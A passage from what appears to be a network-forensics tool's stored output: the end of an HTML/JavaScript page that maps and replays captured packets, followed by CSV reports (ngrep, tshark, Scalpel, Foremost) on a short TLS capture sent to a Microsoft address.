d.currentLon]).x)\n                .attr(\"cy\", d => map.latLngToLayerPoint([d.currentLat, d.currentLon]).y);\n\n            link.attr(\"d\", d => {\n                const s = nodes.find(n => n.id === d.source);\n                const t = nodes.find(n => n.id === d.target);\n                if (!s || !t) return \"\";\n                const sp = map.latLngToLayerPoint([s.currentLat, s.currentLon]);\n                const tp = map.latLngToLayerPoint([t.currentLat, t.currentLon]);\n                return `M${sp.x},${sp.y}L${tp.x},${tp.y}`;\n            });\n        }\n\n        map.on(\"viewreset move\", updatePositions);\n        updatePositions();\n\n        // Stats\n        document.getElementById('stat-nodes').innerText = nodes.length;\n        document.getElementById('stat-edges').innerText = edges.length;\n        document.getElementById('stat-pkts').innerText = allPackets.length;\n\n        // --- Replay Logic ---\n        let replayIdx = 0;\n        let isPlaying = false;\n        let replayTimer = null;\n        const timeline = document.getElementById('timeline');\n        const timeDisplay = document.getElementById('time-display');\n\n        function toggleReplay() {\n            isPlaying = !isPlaying;\n            document.getElementById('play-icon').className = isPlaying ? \"fas fa-pause\" : \"fas fa-play\";\n            if (isPlaying) runReplay();\n            else clearInterval(replayTimer);\n        }\n\n        function runReplay() {\n            clearInterval(replayTimer);\n            replayTimer = setInterval(() => {\n                if (replayIdx >= allPackets.length) {\n                    toggleReplay();\n                    return;\n                }\n                processPacket(allPackets[replayIdx]);\n                replayIdx++;\n                const progress = (replayIdx / allPackets.length) * 100;\n                timeline.value = progress;\n            }, 150);\n        }\n\n        function seekReplay(val) {\n            const targetIdx = Math.floor((val / 100) * (allPackets.length - 1));\n            replayIdx = targetIdx;\n            if (allPackets[replayIdx]) {\n                processPacket(allPackets[replayIdx]);\n            }\n        }\n\n        function processPacket(pkt) {\n            timeDisplay.innerText = pkt.timestamp_human.split(' ')[1];\n            animatePacket(pkt.source, pkt.target);\n            updateLiveInspector(pkt);\n        }\n\n        function animatePacket(srcId, dstId) {\n            const s = nodes.find(n => n.id === srcId);\n            const t = nodes.find(n => n.id === dstId);\n            if (!s || !t) return;\n            \n            const sp = map.latLngToLayerPoint([s.currentLat, s.currentLon]);\n            const tp = map.latLngToLayerPoint([t.currentLat, t.currentLon]);\n\n            const p = g.append(\"circle\")\n                .attr(\"r\", 4)\n                .attr(\"class\", \"packet-particle\")\n                .attr(\"cx\", sp.x)\n                .attr(\"cy\", sp.y);\n\n            p.transition()\n                .duration(800)\n                .ease(d3.easeLinear)\n                .attr(\"cx\", tp.x)\n                .attr(\"cy\", tp.y)\n                .remove();\n        }\n\n        function updateLiveInspector(pkt) {\n            const srcNode = nodes.find(n => n.id === pkt.source);\n            const dstNode = nodes.find(n => n.id === pkt.target);\n            \n            const body = document.getElementById('inspect-body');\n            \n            // Format payload\n            let payloadHtml = \"\";\n            if (pkt.payload_preview) {\n                const hex = pkt.payload_preview.match(/.{1,2}/g).join(' ');\n                payloadHtml = `\n                    <div class=\"sec-title\">Payload (Hex)</div>\n                    <div class=\"hex-dump\" style=\"max-height: 150px; overflow-y: auto; font-size: 0.7rem;\">${hex}</div>\n                `;\n            } else if (pkt.payload_ascii) {\n                payloadHtml = `\n                    <div class=\"sec-title\">Payload (ASCII)</div>\n                    <div class=\"hex-dump\" style=\"max-height: 150px; overflow-y: auto; font-size: 0.7rem;\">${pkt.payload_ascii}</div>\n                `;\n            }\n\n            body.innerHTML = `\n                <div class=\"info-card\" style=\"border-left: 4px solid var(--accent-main)\">\n                    <div class=\"sec-title\">Live Replay Analysis</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Packet ID</span><span class=\"data-value\">#${pkt.packet_number}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Timestamp</span><span class=\"data-value\">${pkt.timestamp_human}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Protocols</span><span class=\"data-value\">${pkt.protocols.join(' → ')}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Size</span><span class=\"data-value\">${pkt.size} Bytes</span></div>\n                </div>\n\n                <div class=\"info-card\">\n                    <div class=\"sec-title\">Source: ${pkt.source}</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Location</span><span class=\"data-value\">${srcNode.geo.city}, ${srcNode.geo.country}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">ISP / ASN</span><span class=\"data-value\">${srcNode.geo.isp} (AS${srcNode.geo.asn})</span></div>\n                </div>\n\n                <div class=\"info-card\">\n                    <div class=\"sec-title\">Destination: ${pkt.target}</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Location</span><span class=\"data-value\">${dstNode.geo.city}, ${dstNode.geo.country}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">ISP / ASN</span><span class=\"data-value\">${dstNode.geo.isp} (AS${dstNode.geo.asn})</span></div>\n                </div>\n\n                ${pkt.tcp_flags_str ? `<div class=\"info-card\"><div class=\"sec-title\">TCP Flags</div><div class=\"data-value\">${pkt.tcp_flags_str}</div></div>` : ''}\n                ${pkt.dns_query ? `<div class=\"info-card\"><div class=\"sec-title\">DNS Query</div><div class=\"data-value\">${pkt.dns_query}</div></div>` : ''}\n\n                <div class=\"info-card\">\n                    ${payloadHtml || '<div class=\"data-label\">No raw payload data</div>'}\n                </div>\n            `;\n        }\n\n        function inspectNode(d) {\n            document.getElementById('inspect-title').innerText = `Node: ${d.ip}`;\n            const body = document.getElementById('inspect-body');\n            body.innerHTML = `\n                <div class=\"info-card\">\n                    <div class=\"sec-title\">Investigation Metadata</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Country</span><span class=\"data-value\">${d.geo.country}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">City</span><span class=\"data-value\">${d.geo.city}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">ISP</span><span class=\"data-value\">${d.geo.isp}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">ASN</span><span class=\"data-value\">${d.geo.asn}</span></div>\n                </div>\n                <div class=\"sec-title\">Traffic Intensity</div>\n                <div class=\"stat-grid\">\n                    <div class=\"stat-box\"><div class=\"stat-v\">${d.packet_count}</div><div class=\"stat-l\">Packets</div></div>\n                    <div class=\"stat-box\"><div class=\"stat-v\">${(d.total_bytes_sent/1024).toFixed(1)}</div><div class=\"stat-l\">KB Sent</div></div>\n                    <div class=\"stat-box\"><div class=\"stat-v\">${(d.total_bytes_received/1024).toFixed(1)}</div><div class=\"stat-l\">KB Recv</div></div>\n                </div>\n                <div class=\"sec-title\" style=\"margin-top:20px;\">Recent Packets</div>\n                ${d.packets.slice(-10).map(p => {\n                    const pStr = JSON.stringify(p).replace(/\"/g, '&quot;');\n                    return `\n                        <div class=\"packet-list-item\" onclick=\"showPacketDetails('${d.ip}', ${pStr})\">\n                            <span>#${p.num} - ${p.direction.toUpperCase()}</span>\n                            <span>${p.size}B</span>\n                        </div>\n                    `;\n                }).join('')}\n            `;\n        }\n\n        function inspectFlow(d) {\n            const s = nodes.find(n => n.id === d.source);\n            const t = nodes.find(n => n.id === d.target);\n            document.getElementById('inspect-title').innerText = `Flow: ${d.source} → ${d.target}`;\n            const body = document.getElementById('inspect-body');\n            body.innerHTML = `\n                <div class=\"info-card\">\n                    <div class=\"sec-title\">Flow Characteristics</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Protocols</span><span class=\"data-value\">${d.protocols.join(', ')}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Total Traffic</span><span class=\"data-value\">${(d.total_bytes / 1024).toFixed(2)} KB</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Threat Level</span><span class=\"data-value\" style=\"color:${d.threat_level === 'low' ? 'var(--accent-success)' : 'var(--accent-danger)'}\">${d.threat_level.toUpperCase()}</span></div>\n                </div>\n                <div class=\"sec-title\">Packet Log</div>\n                ${d.packets.slice(-15).map(p => `\n                    <div class=\"packet-list-item\" style=\"border-left: 3px solid var(--accent-main)\">\n                        <div>\n                            <div style=\"font-weight:700\">#${p.packet_number} [${p.protocols[p.protocols.length-1]}]</div>\n                            <div style=\"font-size:0.75rem; color:var(--text-secondary)\">${p.timestamp_human.split(' ')[1]}</div>\n                        </div>\n                        <div style=\"text-align:right\">\n                            <div>${p.size}B</div>\n                        </div>\n                    </div>\n                `).join('')}\n            `;\n        }\n\n        function showPacketDetails(ip, p) {\n            const body = document.getElementById('inspect-body');\n            document.getElementById('inspect-title').innerText = `Packet Inspection`;\n            document.getElementById('inspect-subtitle').innerText = `IP: ${ip}`;\n            \n            let payloadHtml = \"\";\n            if (p.payload_preview) {\n                const hex = p.payload_preview.match(/.{1,2}/g).join(' ');\n                payloadHtml = `\n                    <div class=\"sec-title\">Payload (Hex)</div>\n                    <div class=\"hex-dump\" style=\"max-height: 200px; overflow-y: auto; font-size: 0.7rem;\">${hex}</div>\n                `;\n            } else if (p.payload_ascii) {\n                payloadHtml = `\n                    <div class=\"sec-title\">Payload (ASCII)</div>\n                    <div class=\"hex-dump\" style=\"max-height: 200px; overflow-y: auto; font-size: 0.7rem;\">${p.payload_ascii}</div>\n                `;\n            }\n\n            body.innerHTML = `\n                <div class=\"info-card\" style=\"border-left: 4px solid var(--accent-main)\">\n                    <div class=\"sec-title\">Packet Details</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Timestamp</span><span class=\"data-value\">${p.timestamp_human}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Protocols</span><span class=\"data-value\">${p.protocols ? p.protocols.join(' → ') : 'N/A'}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Byte Size</span><span class=\"data-value\">${p.size}</span></div>\n                </div>\n\n                ${p.tcp_flags_str ? `<div class=\"info-card\"><div class=\"sec-title\">TCP Control Flags</div><div class=\"data-value\">${p.tcp_flags_str}</div></div>` : ''}\n                ${p.dns_query ? `<div class=\"info-card\"><div class=\"sec-title\">DNS Query Resolve</div><div class=\"data-value\">${p.dns_query}</div></div>` : ''}\n\n                <div class=\"info-card\">\n                    ${payloadHtml || '<div class=\"data-label\">No raw payload data available</div>'}\n                </div>\n                \n                <button class=\"btn\" onclick=\"zoomToWorld()\" style=\"width:100%; margin-top:10px; padding:10px;\">Return to Overview</button>\n            `;\n        }\n\n        function closePacketPanel() {\n            // No longer used as we use the side panel\n        }\n\n        function zoomToWorld() {\n            map.flyTo([20, 0], 2);\n        }\n    </script>\n</body>\n</html>\n"},{"_id":{"$oid":"69f2532259a6632dae07de84"},"sha256":"4792cd702b952d39c1cd215f842223b96e2c17ce9981629cce63014bf095329e","timestamp":{"$date":"2026-04-30T00:21:14.284Z"},"analysis_successful":true,"csv_reports":{"network_analysis_domains_ips.csv":"name,ip,src,av detection,reputation,malicious,internal/ external\n","forensic_timeline.csv":"timestamp,category,event,details\n0.0,NGrep,input: /tmp/filtered_k06rf0y2.pcap,\"Payload: filter: ((ip || ip6) || (vlan && (ip || ip6)))\nmatch (JIT): .\n#\nT 192.168.122.168:49899 -> 4.213.25.240:443 [AP] #1\n....^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......5..T.../.....:\n.....`..G......\\\n#\nT 192.168.122.168:49899 -> 4.213.25.240:443 [AP] #2\n....^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......5..T.../.....:\n.....`..G......\\\n#\nT 192.168.122.168:49899 -> 4.213.25.240:443 [AP] #3\n....^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......5..T.../.....:\n.....`..G......\\\n#\nT 192.168.122.168:49899 -> 4.213.25.240:443 [AP] #4\n....^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......5..T.../.....:\n.....`..G......\\\n#\nT 192.168.122.168:49899 -> 4.213.25.240:443 [AP] #5\n....^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......5..T.../.....:\n.....`..G......\\\n#\nT 192.168.122.168:49899 -> 4.213.25.240:443 [AP] #6\n....^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......5..T.../.....:\n.....`..G......\\\n#\nT 192.168.122.168:49899 -> 4.213.25.240:443 [AP] #7\n....^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......5..T.../.....:\n.....`..G......\\\n#\nT 192.168.122.168:49899 -> 4.213.25.240:443 [AP] #8\n....^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......5..T.../.....:\n.....`..G......\\\n#\nT 192.168.122.168:49892 -> 4.213.25.240:443 [AP] #9\n...................t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....a..s%....S.`d9.0...\n.Uqt..Qp...M.i.'.....\\4-....).E...v..._.^.,.a..1.v.2>...az...d....~.N,...[w..Rk....).PV..G0M.../...\n..8.R.;.6e...&.jD..o%......~@/.1.....i7.^n.0.#....h\n#\nT 192.168.122.168:49892 -> 4.213.25.240:443 [AP] #10\n...................t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....a..s%....S.`d9.0...\n.Uqt..Qp...M.i.'.....\\4-....).E...v..._.^.,.a..1.v.2>...az...d....~.N,...[w..Rk....).PV..G0M.../...\n..8.R.;.6e...&.jD..o%......~@/.1.....i7.^n.0.#....h\n#\nT 192.168.122.168:49892 -> 4.213.25.240:443 [AP] #11\n...................t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....a..s%....S.`d9.0...\n.Uqt..Qp...M.i.'.....\\4-....).E...v..._.^.,.a..1.v.2>...az...d....~.N,...[w..Rk....).PV..G0M.../...\n..8.R.;.6e...&.jD..o%......~@/.1.....i7.^n.0.#....h\n#\nT 192.168.122.168:49892 -> 4.213.25.240:443 [AP] #12\n...................t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....a..s%....S.`d9.0...\n.Uqt..Qp...M.i.'.....\\4-....).E...v..._.^.,.a..1.v.2>...az...d....~.N,...[w..Rk....).PV..G0M.../...\n..8.R.;.6e...&.jD..o%......~@/.1.....i7.^n.0.#....h\n#\nT 192.168.122.168:49892 -> 4.213.25.240:443 [AP] #13\n...................t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....a..s%....S.`d9.0...\n.Uqt..Qp...M.i.'.....\\4-....).E...v..._.^.,.a..1.v.2>...az...d....~.N,...[w..Rk....).PV..G0M.../...\n..8.R.;.6e...&.jD..o%......~@/.1.....i7.^n.0.#....h\n##\nT 192.168.122.168:49892 -> 4.213.25.240:443 [AP] #15\n...................t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....a..s%....S.`d9.0...\n.Uqt..Qp...M.i.'.....\\4-....).E...v..._.^.,.a..1.v.2>...az...d....~.N,...[w..Rk....).PV..G0M.../...\n..8.R.;.6e...&.jD..o%......~@/.1.....i7.^n.0.#....h\n#exit\"\n0.0,Network Stats,TShark Stat: protocol_hierarchy,Path: /tmp/tmpk0lq2e1u/tshark/stats/tshark_protocol_hierarchy.txt\n0.0,Network Stats,TShark Stat: conversations_tcp,Path: /tmp/tmpk0lq2e1u/tshark/stats/tshark_conversations_tcp.txt\n0.0,Network Stats,TShark Stat: conversations_udp,Path: /tmp/tmpk0lq2e1u/tshark/stats/tshark_conversations_udp.txt\n0.0,Network Stats,TShark Stat: endpoints_ip,Path: /tmp/tmpk0lq2e1u/tshark/stats/tshark_endpoints_ip.txt\n0.0,Network Stats,TShark Stat: http_stats,Path: /tmp/tmpk0lq2e1u/tshark/stats/tshark_http_stats.txt\n0.0,Network Stats,TShark Stat: dns_stats,Path: /tmp/tmpk0lq2e1u/tshark/stats/tshark_dns_stats.txt\n0.0,Network Stats,TShark Stat: expert_info,Path: /tmp/tmpk0lq2e1u/tshark/stats/tshark_expert_info.txt\n0.0,Network Stats,TShark Stat: io_graph,Path: /tmp/tmpk0lq2e1u/tshark/stats/tshark_io_graph.txt\n","carved_files_analysis.csv":"Timestamp,Stream ID,Source IP,Source Port,Dest IP,Dest Port,Protocol,File Name,File Type,File Path,Size (bytes),MD5,SHA256,Entropy,Strings Preview,Content Preview (Hex)\n2026-04-30T00:21:10.163754,Tool:tmpk0lq2e1u/carved,Unknown,0,Unknown,0,HTTP,scalpel.conf,conf,/tmp/tmpk0lq2e1u/carved/scalpel.conf,796,a2da2c51920b2a2338daac52dc8f3894,35fa9929898a9ad0b97ddb04fb3b9b8cc0295a9e38cc7463922f86fa92d7c165,3.97,\" Scalpel Configuration Generated by Network Analyzer,  ext      case  header          footer,  Graphics, jpg        y     , x10   , jpg        y     , xe1           , png        y     , x0a   , gif        y     , x61   , gif        y     , x61   ,  Documents, pdf        y     , x46           , zip        y     , x04           ,  Executables, exe        y     , x5a                   REVERSE, elf        y     , x46           REVERSE,  Multimedia, mp3        y     , x33                , mp4        y     , x70 REVERSE,         \",0a 23 20 53 63 61 6c 70 65 6c 20 43 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 47 65 6e 65 72 61 74 65 64 20 62 79 20 4e 65 74 77 6f 72 6b 20 41 6e 61 6c 79 7a 65 72 0a 23 20 65 78 74 20 20 20 20 20 20 63 61 73 65 20 20 68 65 61 64 65 72 20 20 20 20 20 20 20 20 20 20 66 6f 6f 74 65 72 0a 0a 23 20 47 72 61 70 68 69 63 73 0a 6a 70 67 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 66 66 5c 78 64 38 5c 78 66 66 5c 78 65 30 5c 78 30 30 5c 78 31 30 20 20 20 5c 78 66 66 5c 78 64 39 0a 6a 70 67 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 66 66 5c 78 64 38 5c 78 66 66 5c 78 65 31 20 20 20 20 20 20 20 20 20 20 20 5c 78 66 66 5c 78 64 39 0a 70 6e 67 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 38 39 5c 78 35 30 5c 78 34 65 5c 78 34 37 5c 78 30 64 5c 78 30 61 5c 78 31 61 5c 78 30 61 20 20 20 5c 78 34 39 5c 78 34 35 5c 78 34 65 5c 78 34 34 5c 78 61 65 5c 78 34 32 5c 78 36 30 5c 78 38 32 0a 67 69 66 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 34 37 5c 78 34 39 5c 78 34 36 5c 78 33 38 5c 78 33 37 5c 78 36 31 20 20 20 5c 78 30 30 5c 78 33 62 0a 67 69 66 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 34 37 5c 78 34 39 5c 78 34 36 5c 78 33 38 5c 78 33 39 5c 78 36 31 20 20 20 5c 78 30 30 5c 78 33 62 0a 0a 23 20 44 6f 63 75 6d 65 6e 74 73 0a 70 64 66 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 32 35 5c 78 35 30 5c 78 34 34 5c 78 34 36 20 20 20 20 20 20 20 20 20 20 20 5c 78 32 35 5c 78 34 35 5c 78 34 66 5c 78 34 36 5c 78 30 44 0a 7a 69 70 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 35 30 5c 78 34 62 5c 78 30 33 5c 78 30 34 20 20 20 20 20 20 20 20 20 20 20 5c 78 35 30 5c 78 34 62 5c 78 30 35 5c 78 30 36 0a 0a 23 20 45 78 65 63 75 74 61 62 6c 65 73 0a 65 78 65 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 34 64 5c 78 35 61 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 52 45 56 45 52 53 45 0a 65 6c 66 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 37 66 5c 78 34 35 5c 78 34 63 5c 78 34 36 20 20 20 20 20 20 20 20 20 20 20 52 45 56 45 52 53 45 0a 0a 23 20 4d 75 6c 74 69 6d 65 64 69 61 0a 6d 70 33 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 34 39 5c 78 34 34 5c 78 33 33 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5c 78 66 66 5c 78 66 62 0a 6d 70 34 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 30 30 5c 78 30 30 5c 78 30 30 5c 78 32 30 5c 78 36 36 5c 78 37 34 5c 78 37 39 5c 78 37 30 20 52 45 56 45 52 53 45 0a 20 20 20 20 20 20 20 20\n2026-04-30T00:21:10.168265,Tool:carved/scalpel,Unknown,0,Unknown,0,HTTP,audit.txt,txt,/tmp/tmpk0lq2e1u/carved/scalpel/audit.txt,468,518356d9e441f4710189ddf7850c3dea,c59a2471e3317a8f2025c7131964255b98e1370cf29dc77352d430b50a4b70ac,4.95,\"Scalpel version 1.60 audit file, Started at Thu Apr 30 00:21:10 2026, Command line:, scalpel -c /tmp/tmpk0lq2e1u/carved/scalpel.conf /tmp/filtered_k06rf0y2.pcap -o /tmp/tmpk0lq2e1u/carved/scalpel , Output directory: /tmp/tmpk0lq2e1u/carved/scalpel, Configuration file: /tmp/tmpk0lq2e1u/carved/scalpel.conf, Opening target , /tmp/filtered_k06rf0y2.pcap, The following files were carved:, File,   Start, Chop, Length, Extracted From, Completed at Thu Apr 30 00:21:10 2026\",0a 53 63 61 6c 70 65 6c 20 76 65 72 73 69 6f 6e 20 31 2e 36 30 20 61 75 64 69 74 20 66 69 6c 65 0a 53 74 61 72 74 65 64 20 61 74 20 54 68 75 20 41 70 72 20 33 30 20 30 30 3a 32 31 3a 31 30 20 32 30 32 36 0a 43 6f 6d 6d 61 6e 64 20 6c 69 6e 65 3a 0a 73 63 61 6c 70 65 6c 20 2d 63 20 2f 74 6d 70 2f 74 6d 70 6b 30 6c 71 32 65 31 75 2f 63 61 72 76 65 64 2f 73 63 61 6c 70 65 6c 2e 63 6f 6e 66 20 2f 74 6d 70 2f 66 69 6c 74 65 72 65 64 5f 6b 30 36 72 66 30 79 32 2e 70 63 61 70 20 2d 6f 20 2f 74 6d 70 2f 74 6d 70 6b 30 6c 71 32 65 31 75 2f 63 61 72 76 65 64 2f 73 63 61 6c 70 65 6c 20 0a 0a 4f 75 74 70 75 74 20 64 69 72 65 63 74 6f 72 79 3a 20 2f 74 6d 70 2f 74 6d 70 6b 30 6c 71 32 65 31 75 2f 63 61 72 76 65 64 2f 73 63 61 6c 70 65 6c 0a 43 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 66 69 6c 65 3a 20 2f 74 6d 70 2f 74 6d 70 6b 30 6c 71 32 65 31 75 2f 63 61 72 76 65 64 2f 73 63 61 6c 70 65 6c 2e 63 6f 6e 66 0a 0a 4f 70 65 6e 69 6e 67 20 74 61 72 67 65 74 20 22 2f 74 6d 70 2f 66 69 6c 74 65 72 65 64 5f 6b 30 36 72 66 30 79 32 2e 70 63 61 70 22 0a 0a 54 68 65 20 66 6f 6c 6c 6f 77 69 6e 67 20 66 69 6c 65 73 20 77 65 72 65 20 63 61 72 76 65 64 3a 0a 46 69 6c 65 09 09 20 20 53 74 61 72 74 09 09 09 43 68 6f 70 09 09 4c 65 6e 67 74 68 09 09 45 78 74 72 61 63 74 65 64 20 46 72 6f 6d 0a 0a 0a 43 6f 6d 70 6c 65 74 65 64 20 61 74 20 54 68 75 20 41 70 72 20 33 30 20 30 30 3a 32 31 3a 31 30 20 32 30 32 36 0a\n2026-04-30T00:21:10.161689,Tool:carved/foremost,Unknown,0,Unknown,0,HTTP,audit.txt,txt,/tmp/tmpk0lq2e1u/carved/foremost/audit.txt,698,96b211fc4117dd9fcd05c9a5f434f275,23598b9fc1ff3b14bf0bcc70ac3a7a098bd5cac8796860e04fd5a34a99ea3515,4.84,\"Foremost version 1.5.7 by Jesse Kornblum, Kris Kendall, and Nick Mikus, Audit File, Foremost started at Thu Apr 30 00:21:10 2026, Invocation: foremost -t all -i /tmp/filtered_k06rf0y2.pcap -o /tmp/tmpk0lq2e1u/carved/foremost , Output directory: /tmp/tmpk0lq2e1u/carved/foremost, Configuration file: /etc/foremost.conf, ------------------------------------------------------------------, File: /tmp/filtered_k06rf0y2.pcap, Start: Thu Apr 30 00:21:10 2026, Length: 3 KB (3820 bytes),  Name (bs, 512),        Size,  File Offset,  Comment , Finish: Thu Apr 30 00:21:10 2026, 0 FILES EXTRACTED, ------------------------------------------------------------------, Foremost finished at Thu Apr 30 00:21:10 2026\",46 6f 72 65 6d 6f 73 74 20 76 65 72 73 69 6f 6e 20 31 2e 35 2e 37 20 62 79 20 4a 65 73 73 65 20 4b 6f 72 6e 62 6c 75 6d 2c 20 4b 72 69 73 20 4b 65 6e 64 61 6c 6c 2c 20 61 6e 64 20 4e 69 63 6b 20 4d 69 6b 75 73 0a 41 75 64 69 74 20 46 69 6c 65 0a 0a 46 6f 72 65 6d 6f 73 74 20 73 74 61 72 74 65 64 20 61 74 20 54 68 75 20 41 70 72 20 33 30 20 30 30 3a 32 31 3a 31 30 20 32 30 32 36 0a 49 6e 76 6f 63 61 74 69 6f 6e 3a 20 66 6f 72 65 6d 6f 73 74 20 2d 74 20 61 6c 6c 20 2d 69 20 2f 74 6d 70 2f 66 69 6c 74 65 72 65 64 5f 6b 30 36 72 66 30 79 32 2e 70 63 61 70 20 2d 6f 20 2f 74 6d 70 2f 74 6d 70 6b 30 6c 71 32 65 31 75 2f 63 61 72 76 65 64 2f 66 6f 72 65 6d 6f 73 74 20 0a 4f 75 74 70 75 74 20 64 69 72 65 63 74 6f 72 79 3a 20 2f 74 6d 70 2f 74 6d 70 6b 30 6c 71 32 65 31 75 2f 63 61 72 76 65 64 2f 66 6f 72 65 6d 6f 73 74 0a 43 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 66 69 6c 65 3a 20 2f 65 74 63 2f 66 6f 72 65 6d 6f 73 74 2e 63 6f 6e 66 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 46 69 6c 65 3a 20 2f 74 6d 70 2f 66 69 6c 74 65 72 65 64 5f 6b 30 36 72 66 30 79 32 2e 70 63 61 70 0a 53 74 61 72 74 3a 20 54 68 75 20 41 70 72 20 33 30 20 30 30 3a 32 31 3a 31 30 20 32 30 32 36 0a 4c 65 6e 67 74 68 3a 20 33 20 4b 42 20 28 33 38 32 30 20 62 79 74 65 73 29 0a 20 0a 4e 75 6d 09 20 4e 61 6d 65 20 28 62 73 3d 35 31 32 29 09 20 20 20 20 20 20 20 53 69 7a 65 09 20 46 69 6c 65 20 4f 66 66 73 65 74 09 20 43 6f 6d 6d 65 6e 74 20 0a 0a 46 69 6e 69 73 68 3a 20 54 68 75 20 41 70 72 20 33 30 20 30 30 3a 32 31 3a 31 30 20 32 30 32 36 0a 0a 30 20 46 49 4c 45 53 20 45 58 54 52 41 43 54 45 44 0a 09 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 0a 46 6f 72 65 6d 6f 73 74 20 66 69 6e 69 73 68 65 64 20 61 74 20 54 68 75 20 41 70 72 20 33 30 20 30 30 3a 32 31 3a 31 30 20 32 30 32 36 0a\n","network_analysis_protocols.csv":"Protocol,Packets,Bytes,Packet %,Byte %\nTCP,16,3138,100.00%,100.00%\n","network_analysis_ports.csv":"Port,Packets,Bytes,Packet %,Byte %\n443,16,3138,50.00%,50.00%\n49899,9,1278,28.12%,20.36%\n49892,7,1860,21.88%,29.64%\n","packet_forensic_timeline.csv":"Timestamp_UTC,Packet_Num,Flow_ID,Src_IP,Dst_IP,Src_Port,Dst_Port,Protocol,Src_Country,Src_City,Src_ASN,Src_AS_Org,Src_Lat,Src_Lon,Src_Network,Dst_Country,Dst_City,Dst_ASN,Dst_AS_Org,Dst_Lat,Dst_Lon,Dst_Network,TCP_Flags,DNS_Query,HTTP_Url,Protocol_Stack,Layer_Depth,Description,Packet_Content(Hex),Packet_Content,Alerts,Complete_Dissection\n2026-04-29 15:13:19.749145,1,TCP 192.168.122.168:49899 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49899,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3881783804 Ack=1692602478,525400577f945254007bb79208004500008bb6fd40008006e959c0a87aa804d519f0c2eb01bbe75f51fc64e3106e501804055a930000170303005e0000000000000007b53f31508341fcdc28be147f2c7379aea49a21a6e7b2682de408581817ae4a3bb6c743daed53db5b255727366006505c06871f13a980c735cafc54b5ddac2fdb1fadb6e73a0afcfb0ca4e560fa9347b507841401ca5c,\"RT.W..RT.{....E.....@....Y..z.........._Q.d..nP...Z.......^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......5..T.../.....:\n.....`..G......\\\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 139, \"\"id\"\": 46845, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59737, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", 